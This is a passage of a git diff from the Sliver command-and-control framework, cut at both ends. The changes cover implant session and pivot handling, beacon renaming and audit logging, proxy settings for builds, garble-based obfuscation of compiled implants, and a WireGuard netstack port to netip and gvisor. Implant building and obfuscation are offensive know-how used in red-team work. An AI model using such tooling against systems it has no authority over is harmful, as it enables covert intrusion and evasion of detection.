out = bytes.ReplaceAll(out, line, []byte(newLine))
|
||||
}
|
||||
return out
|
||||
|
||||
@@ -24,6 +24,7 @@ import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/netip"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
@@ -50,8 +51,8 @@ func StartWGListener(port uint16, netstackPort uint16, keyExchangeListenPort uin
|
||||
wgLog.Infof("Starting Wireguard listener on port: %d", port)
|
||||
|
||||
tun, tNet, err := netstack.CreateNetTUN(
|
||||
[]net.IP{net.ParseIP(tunIP)},
|
||||
[]net.IP{net.ParseIP("127.0.0.1")}, // We don't use DNS in the WG listener. Yet.
|
||||
[]netip.Addr{netip.MustParseAddr(tunIP)},
|
||||
[]netip.Addr{netip.MustParseAddr("127.0.0.1")}, // We don't use DNS in the WG listener. Yet.
|
||||
1420,
|
||||
)
|
||||
if err != nil {
|
||||
|
||||
@@ -197,6 +197,10 @@ func insertImmediateChildren(entry *PivotGraphEntry, depth int) {
|
||||
return true
|
||||
}
|
||||
session := Sessions.FromImplantConnection(pivot.ImplantConn)
|
||||
if session == nil {
|
||||
coreLog.Warnf("[graph] session not found for pivot: %v", pivot)
|
||||
return true
|
||||
}
|
||||
coreLog.Debugf("[graph] entry: %v, pivot: %v", entry.Name, pivot)
|
||||
if pivot.Peers[1].PeerID == entry.PeerID {
|
||||
child := &PivotGraphEntry{
|
||||
|
||||
+16
-1
@@ -80,6 +80,7 @@ func (s *Session) LastCheckin() time.Time {
|
||||
|
||||
// IsDead - See if last check-in is within expected variance
|
||||
func (s *Session) IsDead() bool {
|
||||
sessionsLog.Debugf("Checking health of %s", s.ID)
|
||||
sessionsLog.Debugf("Last checkin was %v", s.Connection.LastMessage)
|
||||
padding := time.Duration(10 * time.Second) // Arbitrary margin of error
|
||||
timePassed := time.Since(s.LastCheckin())
|
||||
@@ -95,6 +96,12 @@ func (s *Session) IsDead() bool {
|
||||
return false
|
||||
}
|
||||
}
|
||||
if s.Connection.Transport == "pivot" {
|
||||
if time.Since(s.Connection.LastMessage) < time.Duration(time.Minute)+padding {
|
||||
sessionsLog.Debugf("Last message within pivot/server ping interval with padding")
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
@@ -138,10 +145,17 @@ func (s *Session) Request(msgType uint32, timeout time.Duration, data []byte) ([
|
||||
// close(resp)
|
||||
delete(s.Connection.Resp, reqID)
|
||||
}()
|
||||
s.Connection.Send <- &sliverpb.Envelope{
|
||||
if timeout == 0 {
|
||||
timeout = 60 * time.Second
|
||||
}
|
||||
select {
|
||||
case s.Connection.Send <- &sliverpb.Envelope{
|
||||
ID: reqID,
|
||||
Type: msgType,
|
||||
Data: data,
|
||||
}:
|
||||
case <-time.After(timeout):
|
||||
return nil, ErrImplantTimeout
|
||||
}
|
||||
|
||||
var respEnvelope *sliverpb.Envelope
|
||||
@@ -202,6 +216,7 @@ func (s *sessions) Remove(sessionID string) {
|
||||
for _, child := range children {
|
||||
childSession, ok := s.sessions.LoadAndDelete(child.SessionID)
|
||||
if ok {
|
||||
PivotSessions.Delete(childSession.(*Session).Connection.ID)
|
||||
EventBroker.Publish(Event{
|
||||
EventType: consts.SessionClosedEvent,
|
||||
Session: childSession.(*Session),
|
||||
|
||||
@@ -293,6 +293,17 @@ func ListBeacons() ([]*models.Beacon, error) {
|
||||
return beacons, err
|
||||
}
|
||||
|
||||
// RenameBeacon - Rename a beacon
|
||||
func RenameBeacon(beaconID string, name string) error {
|
||||
err := Session().Where(&models.Beacon{
|
||||
ID: uuid.FromStringOrNil(beaconID),
|
||||
}).Updates(models.Beacon{Name: name}).Error
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// PendingBeaconTasksByBeaconID - Select a Beacon by ID, ordered by creation time
|
||||
func PendingBeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error) {
|
||||
tasks := []*models.BeaconTask{}
|
||||
|
||||
@@ -124,6 +124,8 @@ type ImplantConfig struct {
|
||||
IsService bool
|
||||
IsShellcode bool
|
||||
|
||||
RunAtLoad bool
|
||||
|
||||
FileName string
|
||||
}
|
||||
|
||||
|
||||
@@ -64,12 +64,12 @@ var (
|
||||
},
|
||||
"darwin": {
|
||||
"windows": {
|
||||
"386": "/usr/local/bin/i686-w64-mingw32-gcc",
|
||||
"amd64": "/usr/local/bin/x86_64-w64-mingw32-gcc",
|
||||
"386": "/opt/homebrew/bin/i686-w64-mingw32-gcc",
|
||||
"amd64": "/opt/homebrew/bin/x86_64-w64-mingw32-gcc",
|
||||
},
|
||||
"linux": {
|
||||
// brew install FiloSottile/musl-cross/musl-cross
|
||||
"amd64": "/usr/local/bin/x86_64-linux-musl-gcc",
|
||||
"amd64": "/opt/homebrew/bin/x86_64-linux-musl-gcc",
|
||||
},
|
||||
},
|
||||
}
|
||||
@@ -170,6 +170,8 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) (string, *model
|
||||
cfg.IsService = pbConfig.IsService
|
||||
cfg.IsShellcode = pbConfig.IsShellcode
|
||||
|
||||
cfg.RunAtLoad = pbConfig.RunAtLoad
|
||||
|
||||
cfg.CanaryDomains = []models.CanaryDomain{}
|
||||
for _, pbCanary := range pbConfig.CanaryDomains {
|
||||
cfg.CanaryDomains = append(cfg.CanaryDomains, models.CanaryDomain{
|
||||
@@ -264,9 +266,10 @@ func SliverShellcode(name string, config *models.ImplantConfig) (string, error)
|
||||
GOMODCACHE: gogo.GetGoModCache(appDir),
|
||||
GOROOT: gogo.GetGoRootDir(appDir),
|
||||
GOPROXY: getGoProxy(),
|
||||
HTTPPROXY: getGoHttpProxy(),
|
||||
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOPRIVATE: goPrivate(config),
|
||||
GOGARBLE: goPrivate(config),
|
||||
}
|
||||
pkgPath, err := renderSliverGoCode(name, config, goConfig)
|
||||
if err != nil {
|
||||
@@ -336,9 +339,10 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
|
||||
GOMODCACHE: gogo.GetGoModCache(appDir),
|
||||
GOROOT: gogo.GetGoRootDir(appDir),
|
||||
GOPROXY: getGoProxy(),
|
||||
HTTPPROXY: getGoHttpProxy(),
|
||||
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOPRIVATE: goPrivate(config),
|
||||
GOGARBLE: goPrivate(config),
|
||||
}
|
||||
pkgPath, err := renderSliverGoCode(name, config, goConfig)
|
||||
if err != nil {
|
||||
@@ -396,9 +400,10 @@ func SliverExecutable(name string, config *models.ImplantConfig) (string, error)
|
||||
GOCACHE: gogo.GetGoCache(appDir),
|
||||
GOMODCACHE: gogo.GetGoModCache(appDir),
|
||||
GOPROXY: getGoProxy(),
|
||||
HTTPPROXY: getGoHttpProxy(),
|
||||
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOPRIVATE: goPrivate(config),
|
||||
GOGARBLE: goPrivate(config),
|
||||
}
|
||||
|
||||
pkgPath, err := renderSliverGoCode(name, config, goConfig)
|
||||
@@ -642,7 +647,7 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
|
||||
return "", err
|
||||
}
|
||||
buildLog.Debugf("Created %s", goModPath)
|
||||
output, err := gogo.GoMod((*goConfig), sliverPkgDir, []string{"tidy"})
|
||||
output, err := gogo.GoMod((*goConfig), sliverPkgDir, []string{"tidy", "-compat=1.17"})
|
||||
if err != nil {
|
||||
buildLog.Errorf("Go mod tidy failed:\n%s", output)
|
||||
return "", err
|
||||
@@ -857,6 +862,16 @@ func getGoProxy() string {
|
||||
return ""
|
||||
}
|
||||
|
||||
func getGoHttpProxy() string {
|
||||
value, present := os.LookupEnv("HTTP_PROXY")
|
||||
if present {
|
||||
buildLog.Debugf("Using HTTP_PROXY from env: %s", value)
|
||||
return value
|
||||
}
|
||||
buildLog.Debugf("No HTTP_PROXY found")
|
||||
return ""
|
||||
}
|
||||
|
||||
const (
|
||||
// GoPrivate - The default Go private arg to garble when obfuscation is enabled.
|
||||
// Wireguard dependencies prevent the use of wildcard github.com/* and golang.org/*.
|
||||
|
||||
@@ -75,9 +75,7 @@ func (g *CanaryGenerator) GenerateCanary() string {
|
||||
index := insecureRand.Intn(len(g.ParentDomains))
|
||||
|
||||
parentDomain := g.ParentDomains[index]
|
||||
if strings.HasPrefix(parentDomain, ".") {
|
||||
parentDomain = parentDomain[1:]
|
||||
}
|
||||
parentDomain = strings.TrimPrefix(parentDomain, ".")
|
||||
if !strings.HasSuffix(parentDomain, ".") {
|
||||
parentDomain += "." // Ensure we have the FQDN
|
||||
}
|
||||
|
||||
+11
-16
@@ -20,8 +20,6 @@ package gogo
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
@@ -57,9 +55,10 @@ type GoConfig struct {
|
||||
CGO string
|
||||
CC string
|
||||
CXX string
|
||||
HTTPPROXY string
|
||||
|
||||
Obfuscation bool
|
||||
GOPRIVATE string
|
||||
GOGARBLE string
|
||||
}
|
||||
|
||||
// GetGoRootDir - Get the path to GOROOT
|
||||
@@ -82,24 +81,18 @@ func GetGoModCache(appDir string) string {
|
||||
}
|
||||
|
||||
// The Gb limit here is somewhat arbitrary but is based on my own testing
|
||||
func garbleMaxLiteralSize() []string {
|
||||
func garbleMaxLiteralSize() string {
|
||||
vmStat, err := mem.VirtualMemory()
|
||||
if err != nil {
|
||||
gogoLog.Errorf("Failed to detect amount of system memory: %s", err)
|
||||
return []string{"-literals-max-size", fmt.Sprintf("%d", 1*kb)} // Use default
|
||||
return fmt.Sprintf("%d", 1*kb) // Use default
|
||||
}
|
||||
if 10*gb < vmStat.Total {
|
||||
gogoLog.Infof("More than 10Gb of system memory, enable large literal obfuscation")
|
||||
return []string{"-literals-max-size", fmt.Sprintf("%d", 64*kb)}
|
||||
return fmt.Sprintf("%d", 64*kb)
|
||||
}
|
||||
gogoLog.Infof("Low system memory, disable large literal obfuscation")
|
||||
return []string{"-literals-max-size", fmt.Sprintf("%d", 2*kb)}
|
||||
}
|
||||
|
||||
func seed() string {
|
||||
seed := make([]byte, 32)
|
||||
rand.Read(seed)
|
||||
return hex.EncodeToString(seed)
|
||||
return fmt.Sprintf("%d", 2*kb)
|
||||
}
|
||||
|
||||
// GarbleCmd - Execute a go command
|
||||
@@ -109,8 +102,7 @@ func GarbleCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
|
||||
return nil, fmt.Errorf(fmt.Sprintf("Invalid compiler target: %s", target))
|
||||
}
|
||||
garbleBinPath := filepath.Join(config.GOROOT, "bin", "garble")
|
||||
garbleFlags := []string{fmt.Sprintf("-seed=%s", seed()), "-literals"}
|
||||
garbleFlags = append(garbleFlags, garbleMaxLiteralSize()...)
|
||||
garbleFlags := []string{"-seed=random", "-literals"}
|
||||
command = append(garbleFlags, command...)
|
||||
cmd := exec.Command(garbleBinPath, command...)
|
||||
cmd.Dir = cwd
|
||||
@@ -122,9 +114,11 @@ func GarbleCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
|
||||
fmt.Sprintf("GOPATH=%s", config.ProjectDir),
|
||||
fmt.Sprintf("GOCACHE=%s", config.GOCACHE),
|
||||
fmt.Sprintf("GOMODCACHE=%s", config.GOMODCACHE),
|
||||
fmt.Sprintf("GOPRIVATE=%s", config.GOPRIVATE),
|
||||
fmt.Sprintf("GOPROXY=%s", config.GOPROXY),
|
||||
fmt.Sprintf("GARBLE_MAX_LITERAL_SIZE=%s", garbleMaxLiteralSize()),
|
||||
fmt.Sprintf("HTTP_PROXY=%s", config.HTTPPROXY),
|
||||
fmt.Sprintf("PATH=%s:%s", filepath.Join(config.GOROOT, "bin"), os.Getenv("PATH")),
|
||||
fmt.Sprintf("GOGARBLE=%s", config.GOGARBLE),
|
||||
}
|
||||
var stdout bytes.Buffer
|
||||
var stderr bytes.Buffer
|
||||
@@ -160,6 +154,7 @@ func GoCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
|
||||
fmt.Sprintf("GOCACHE=%s", config.GOCACHE),
|
||||
fmt.Sprintf("GOMODCACHE=%s", config.GOMODCACHE),
|
||||
fmt.Sprintf("GOPROXY=%s", config.GOPROXY),
|
||||
fmt.Sprintf("HTTP_PROXY=%s", config.HTTPPROXY),
|
||||
fmt.Sprintf("PATH=%s:%s", filepath.Join(config.GOROOT, "bin"), os.Getenv("PATH")),
|
||||
}
|
||||
var stdout bytes.Buffer
|
||||
|
||||
@@ -23,10 +23,12 @@ package handlers
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"time"
|
||||
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
sliverpb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
@@ -94,9 +96,27 @@ func beaconRegisterHandler(implantConn *core.ImplantConnection, data []byte) *sl
|
||||
Data: eventData,
|
||||
})
|
||||
|
||||
go auditLogBeacon(beacon, beaconReg.Register)
|
||||
return nil
|
||||
}
|
||||
|
||||
type auditLogNewBeaconMsg struct {
|
||||
Beacon *clientpb.Beacon
|
||||
Register *sliverpb.Register
|
||||
}
|
||||
|
||||
func auditLogBeacon(beacon *models.Beacon, register *sliverpb.Register) {
|
||||
msg, err := json.Marshal(auditLogNewBeaconMsg{
|
||||
Beacon: beacon.ToProtobuf(),
|
||||
Register: register,
|
||||
})
|
||||
if err != nil {
|
||||
beaconHandlerLog.Errorf("Failed to log new beacon to audit log: %s", err)
|
||||
} else {
|
||||
log.AuditLogger.Warn(string(msg))
|
||||
}
|
||||
}
|
||||
|
||||
func beaconTasksHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
|
||||
beaconTasks := &sliverpb.BeaconTasks{}
|
||||
err := proto.Unmarshal(data, beaconTasks)
|
||||
|
||||
@@ -76,8 +76,6 @@ func pivotPeerEnvelopeHandler(implantConn *core.ImplantConnection, data []byte)
|
||||
resp = serverKeyExchange(implantConn, peerEnvelope)
|
||||
case sliverpb.MsgPivotSessionEnvelope:
|
||||
resp = sessionEnvelopeHandler(implantConn, peerEnvelope)
|
||||
case sliverpb.MsgPivotServerPing:
|
||||
resp = serverPingHandler(implantConn, peerEnvelope)
|
||||
}
|
||||
|
||||
return resp
|
||||
@@ -130,6 +128,8 @@ func handlePivotEnvelope(pivot *core.Pivot, envelope *sliverpb.Envelope) {
|
||||
pivot.ImplantConn.Send <- respEnvelope
|
||||
}()
|
||||
}
|
||||
} else if envelope.Type == sliverpb.MsgPivotServerPing {
|
||||
pivotServerPingHandler(pivot)
|
||||
} else {
|
||||
pivotLog.Errorf("no pivot handler for envelope type %v", envelope.Type)
|
||||
}
|
||||
@@ -159,26 +159,9 @@ func pivotPeerFailureHandler(implantConn *core.ImplantConnection, data []byte) *
|
||||
return nil
|
||||
}
|
||||
|
||||
func serverPingHandler(implantConn *core.ImplantConnection, peerEnvelope *sliverpb.PivotPeerEnvelope) *sliverpb.Envelope {
|
||||
pivotSessionID := uuid.FromBytesOrNil(peerEnvelope.PivotSessionID).String()
|
||||
if pivotSessionID == "" {
|
||||
pivotLog.Errorf("failed to parse pivot session id from peer envelope")
|
||||
return nil
|
||||
}
|
||||
|
||||
// Find the pivot session for the server ping
|
||||
pivotLog.Debugf("origin envelope pivot session ID = %s", pivotSessionID)
|
||||
pivotEntry, ok := core.PivotSessions.Load(pivotSessionID)
|
||||
if !ok {
|
||||
pivotLog.Errorf("pivot session id '%s' not found", pivotSessionID)
|
||||
return nil
|
||||
}
|
||||
pivot := pivotEntry.(*core.Pivot)
|
||||
|
||||
// Update last message time
|
||||
func pivotServerPingHandler(pivot *core.Pivot) {
|
||||
pivot.ImplantConn.UpdateLastMessage()
|
||||
|
||||
return nil
|
||||
pivot.ImmediateImplantConn.UpdateLastMessage()
|
||||
}
|
||||
|
||||
// ------------------------
|
||||
|
||||
@@ -102,6 +102,10 @@ func auditLogSession(session *core.Session, register *sliverpb.Register) {
|
||||
// two handlers calls may race when a tunnel is quickly created and closed.
|
||||
func tunnelDataHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
|
||||
session := core.Sessions.FromImplantConnection(implantConn)
|
||||
if session == nil {
|
||||
sessionHandlerLog.Warnf("Received tunnel data from unknown session: %v", implantConn)
|
||||
return nil
|
||||
}
|
||||
tunnelHandlerMutex.Lock()
|
||||
defer tunnelHandlerMutex.Unlock()
|
||||
tunnelData := &sliverpb.TunnelData{}
|
||||
@@ -111,7 +115,7 @@ func tunnelDataHandler(implantConn *core.ImplantConnection, data []byte) *sliver
|
||||
if session.ID == tunnel.SessionID {
|
||||
tunnel.FromImplant <- tunnelData
|
||||
} else {
|
||||
sessionHandlerLog.Warnf("Warning: Session %d attempted to send data on tunnel it did not own", session.ID)
|
||||
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
|
||||
}
|
||||
} else {
|
||||
sessionHandlerLog.Warnf("Data sent on nil tunnel %d", tunnelData.TunnelID)
|
||||
@@ -121,6 +125,10 @@ func tunnelDataHandler(implantConn *core.ImplantConnection, data []byte) *sliver
|
||||
|
||||
func tunnelCloseHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
|
||||
session := core.Sessions.FromImplantConnection(implantConn)
|
||||
if session == nil {
|
||||
sessionHandlerLog.Warnf("Received tunnel close from unknown session: %v", implantConn)
|
||||
return nil
|
||||
}
|
||||
tunnelHandlerMutex.Lock()
|
||||
defer tunnelHandlerMutex.Unlock()
|
||||
|
||||
@@ -135,7 +143,7 @@ func tunnelCloseHandler(implantConn *core.ImplantConnection, data []byte) *slive
|
||||
sessionHandlerLog.Infof("Closing tunnel %d", tunnel.ID)
|
||||
core.Tunnels.Close(tunnel.ID)
|
||||
} else {
|
||||
sessionHandlerLog.Warnf("Warning: Session %d attempted to send data on tunnel it did not own", session.ID)
|
||||
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
|
||||
}
|
||||
} else {
|
||||
sessionHandlerLog.Warnf("Close sent on nil tunnel %d", tunnelData.TunnelID)
|
||||
@@ -145,12 +153,20 @@ func tunnelCloseHandler(implantConn *core.ImplantConnection, data []byte) *slive
|
||||
|
||||
func pingHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
|
||||
session := core.Sessions.FromImplantConnection(implantConn)
|
||||
sessionHandlerLog.Debugf("ping from session %d", session.ID)
|
||||
if session == nil {
|
||||
sessionHandlerLog.Warnf("Received ping from unknown session: %v", implantConn)
|
||||
return nil
|
||||
}
|
||||
sessionHandlerLog.Debugf("ping from session %s", session.ID)
|
||||
return nil
|
||||
}
|
||||
|
||||
func socksDataHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
|
||||
session := core.Sessions.FromImplantConnection(implantConn)
|
||||
if session == nil {
|
||||
sessionHandlerLog.Warnf("Received socks data from unknown session: %v", implantConn)
|
||||
return nil
|
||||
}
|
||||
tunnelHandlerMutex.Lock()
|
||||
defer tunnelHandlerMutex.Unlock()
|
||||
socksData := &sliverpb.SocksData{}
|
||||
@@ -166,7 +182,7 @@ func socksDataHandler(implantConn *core.ImplantConnection, data []byte) *sliverp
|
||||
if session.ID == SocksTunne.SessionID {
|
||||
SocksTunne.FromImplant <- socksData
|
||||
} else {
|
||||
sessionHandlerLog.Warnf("Warning: Session %d attempted to send data on tunnel it did not own", session.ID)
|
||||
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
|
||||
}
|
||||
} else {
|
||||
sessionHandlerLog.Warnf("Data sent on nil tunnel %d", socksData.TunnelID)
|
||||
|
||||
+347
-100
@@ -1,7 +1,6 @@
|
||||
/* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Copyright (C) 2019-2021 WireGuard LLC. All Rights Reserved.
|
||||
* https://git.zx2c4.com/wireguard-go/tree/tun/netstack/tun.go
|
||||
*/
|
||||
|
||||
package netstack
|
||||
@@ -14,7 +13,9 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/netip"
|
||||
"os"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
@@ -22,15 +23,17 @@ import (
|
||||
"golang.zx2c4.com/wireguard/tun"
|
||||
|
||||
"golang.org/x/net/dns/dnsmessage"
|
||||
"inet.af/netstack/tcpip"
|
||||
"inet.af/netstack/tcpip/adapters/gonet"
|
||||
"inet.af/netstack/tcpip/buffer"
|
||||
"inet.af/netstack/tcpip/header"
|
||||
"inet.af/netstack/tcpip/network/ipv4"
|
||||
"inet.af/netstack/tcpip/network/ipv6"
|
||||
"inet.af/netstack/tcpip/stack"
|
||||
"inet.af/netstack/tcpip/transport/tcp"
|
||||
"inet.af/netstack/tcpip/transport/udp"
|
||||
"gvisor.dev/gvisor/pkg/tcpip"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/buffer"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/header"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/stack"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/transport/icmp"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/transport/tcp"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/transport/udp"
|
||||
"gvisor.dev/gvisor/pkg/waiter"
|
||||
)
|
||||
|
||||
type netTun struct {
|
||||
@@ -39,11 +42,14 @@ type netTun struct {
|
||||
events chan tun.Event
|
||||
incomingPacket chan buffer.VectorisedView
|
||||
mtu int
|
||||
dnsServers []net.IP
|
||||
dnsServers []netip.Addr
|
||||
hasV4, hasV6 bool
|
||||
}
|
||||
type endpoint netTun
|
||||
type Net netTun
|
||||
|
||||
type (
|
||||
endpoint netTun
|
||||
Net netTun
|
||||
)
|
||||
|
||||
func (e *endpoint) Attach(dispatcher stack.NetworkDispatcher) {
|
||||
e.dispatcher = dispatcher
|
||||
@@ -75,12 +81,16 @@ func (*endpoint) LinkAddress() tcpip.LinkAddress {
|
||||
|
||||
func (*endpoint) Wait() {}
|
||||
|
||||
func (e *endpoint) WritePacket(_ stack.RouteInfo, _ *stack.GSO, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
|
||||
func (e *endpoint) WritePacket(_ stack.RouteInfo, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
|
||||
e.incomingPacket <- buffer.NewVectorisedView(pkt.Size(), pkt.Views())
|
||||
return nil
|
||||
}
|
||||
|
||||
func (e *endpoint) WritePackets(stack.RouteInfo, *stack.GSO, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
|
||||
func (e *endpoint) WritePackets(stack.RouteInfo, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
|
||||
panic("not implemented")
|
||||
}
|
||||
|
||||
func (e *endpoint) WriteRawPacket(*stack.PacketBuffer) tcpip.Error {
|
||||
panic("not implemented")
|
||||
}
|
||||
|
||||
@@ -91,10 +101,10 @@ func (*endpoint) ARPHardwareType() header.ARPHardwareType {
|
||||
func (e *endpoint) AddHeader(tcpip.LinkAddress, tcpip.LinkAddress, tcpip.NetworkProtocolNumber, *stack.PacketBuffer) {
|
||||
}
|
||||
|
||||
func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Net, error) {
|
||||
func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device, *Net, error) {
|
||||
opts := stack.Options{
|
||||
NetworkProtocols: []stack.NetworkProtocolFactory{ipv4.NewProtocol, ipv6.NewProtocol},
|
||||
TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol},
|
||||
TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol, icmp.NewProtocol6, icmp.NewProtocol4},
|
||||
HandleLocal: true,
|
||||
}
|
||||
dev := &netTun{
|
||||
@@ -109,33 +119,31 @@ func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Ne
|
||||
return nil, nil, fmt.Errorf("CreateNIC: %v", tcpipErr)
|
||||
}
|
||||
for _, ip := range localAddresses {
|
||||
if ip4 := ip.To4(); ip4 != nil {
|
||||
tcpipErr = dev.stack.AddAddress(1, ipv4.ProtocolNumber, tcpip.Address(ip4))
|
||||
if tcpipErr != nil {
|
||||
return nil, nil, fmt.Errorf("AddAddress(%v): %v", ip4, tcpipErr)
|
||||
}
|
||||
var protoNumber tcpip.NetworkProtocolNumber
|
||||
if ip.Is4() {
|
||||
protoNumber = ipv4.ProtocolNumber
|
||||
} else if ip.Is6() {
|
||||
protoNumber = ipv6.ProtocolNumber
|
||||
}
|
||||
protoAddr := tcpip.ProtocolAddress{
|
||||
Protocol: protoNumber,
|
||||
AddressWithPrefix: tcpip.Address(ip.AsSlice()).WithPrefix(),
|
||||
}
|
||||
tcpipErr := dev.stack.AddProtocolAddress(1, protoAddr, stack.AddressProperties{})
|
||||
if tcpipErr != nil {
|
||||
return nil, nil, fmt.Errorf("AddProtocolAddress(%v): %v", ip, tcpipErr)
|
||||
}
|
||||
if ip.Is4() {
|
||||
dev.hasV4 = true
|
||||
} else {
|
||||
tcpipErr = dev.stack.AddAddress(1, ipv6.ProtocolNumber, tcpip.Address(ip))
|
||||
if tcpipErr != nil {
|
||||
return nil, nil, fmt.Errorf("AddAddress(%v): %v", ip4, tcpipErr)
|
||||
}
|
||||
} else if ip.Is6() {
|
||||
dev.hasV6 = true
|
||||
}
|
||||
}
|
||||
if dev.hasV4 {
|
||||
dev.stack.AddRoute(tcpip.Route{Destination: header.IPv4EmptySubnet, NIC: 1})
|
||||
tcpipErr = dev.stack.SetForwarding(header.IPv4ProtocolNumber, true)
|
||||
if tcpipErr != nil {
|
||||
return nil, nil, fmt.Errorf("SetForwarding(): %v", tcpipErr)
|
||||
}
|
||||
}
|
||||
if dev.hasV6 {
|
||||
dev.stack.AddRoute(tcpip.Route{Destination: header.IPv6EmptySubnet, NIC: 1})
|
||||
tcpipErr = dev.stack.SetForwarding(header.IPv6ProtocolNumber, true)
|
||||
if tcpipErr != nil {
|
||||
return nil, nil, fmt.Errorf("SetForwarding(): %v", tcpipErr)
|
||||
}
|
||||
}
|
||||
|
||||
dev.events <- tun.EventUp
|
||||
@@ -199,62 +207,291 @@ func (tun *netTun) MTU() (int, error) {
|
||||
return tun.mtu, nil
|
||||
}
|
||||
|
||||
func convertToFullAddr(ip net.IP, port int) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
|
||||
if ip4 := ip.To4(); ip4 != nil {
|
||||
return tcpip.FullAddress{
|
||||
NIC: 1,
|
||||
Addr: tcpip.Address(ip4),
|
||||
Port: uint16(port),
|
||||
}, ipv4.ProtocolNumber
|
||||
func convertToFullAddr(endpoint netip.AddrPort) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
|
||||
var protoNumber tcpip.NetworkProtocolNumber
|
||||
if endpoint.Addr().Is4() {
|
||||
protoNumber = ipv4.ProtocolNumber
|
||||
} else {
|
||||
return tcpip.FullAddress{
|
||||
NIC: 1,
|
||||
Addr: tcpip.Address(ip),
|
||||
Port: uint16(port),
|
||||
}, ipv6.ProtocolNumber
|
||||
protoNumber = ipv6.ProtocolNumber
|
||||
}
|
||||
return tcpip.FullAddress{
|
||||
NIC: 1,
|
||||
Addr: tcpip.Address(endpoint.Addr().AsSlice()),
|
||||
Port: endpoint.Port(),
|
||||
}, protoNumber
|
||||
}
|
||||
|
||||
func (net *Net) DialContextTCPAddrPort(ctx context.Context, addr netip.AddrPort) (*gonet.TCPConn, error) {
|
||||
fa, pn := convertToFullAddr(addr)
|
||||
return gonet.DialContextTCP(ctx, net.stack, fa, pn)
|
||||
}
|
||||
|
||||
func (net *Net) DialContextTCP(ctx context.Context, addr *net.TCPAddr) (*gonet.TCPConn, error) {
|
||||
if addr == nil {
|
||||
panic("todo: deal with auto addr semantics for nil addr")
|
||||
return net.DialContextTCPAddrPort(ctx, netip.AddrPort{})
|
||||
}
|
||||
fa, pn := convertToFullAddr(addr.IP, addr.Port)
|
||||
return gonet.DialContextTCP(ctx, net.stack, fa, pn)
|
||||
ip, _ := netip.AddrFromSlice(addr.IP)
|
||||
return net.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(ip, uint16(addr.Port)))
|
||||
}
|
||||
|
||||
func (net *Net) DialTCPAddrPort(addr netip.AddrPort) (*gonet.TCPConn, error) {
|
||||
fa, pn := convertToFullAddr(addr)
|
||||
return gonet.DialTCP(net.stack, fa, pn)
|
||||
}
|
||||
|
||||
func (net *Net) DialTCP(addr *net.TCPAddr) (*gonet.TCPConn, error) {
|
||||
if addr == nil {
|
||||
panic("todo: deal with auto addr semantics for nil addr")
|
||||
return net.DialTCPAddrPort(netip.AddrPort{})
|
||||
}
|
||||
fa, pn := convertToFullAddr(addr.IP, addr.Port)
|
||||
return gonet.DialTCP(net.stack, fa, pn)
|
||||
ip, _ := netip.AddrFromSlice(addr.IP)
|
||||
return net.DialTCPAddrPort(netip.AddrPortFrom(ip, uint16(addr.Port)))
|
||||
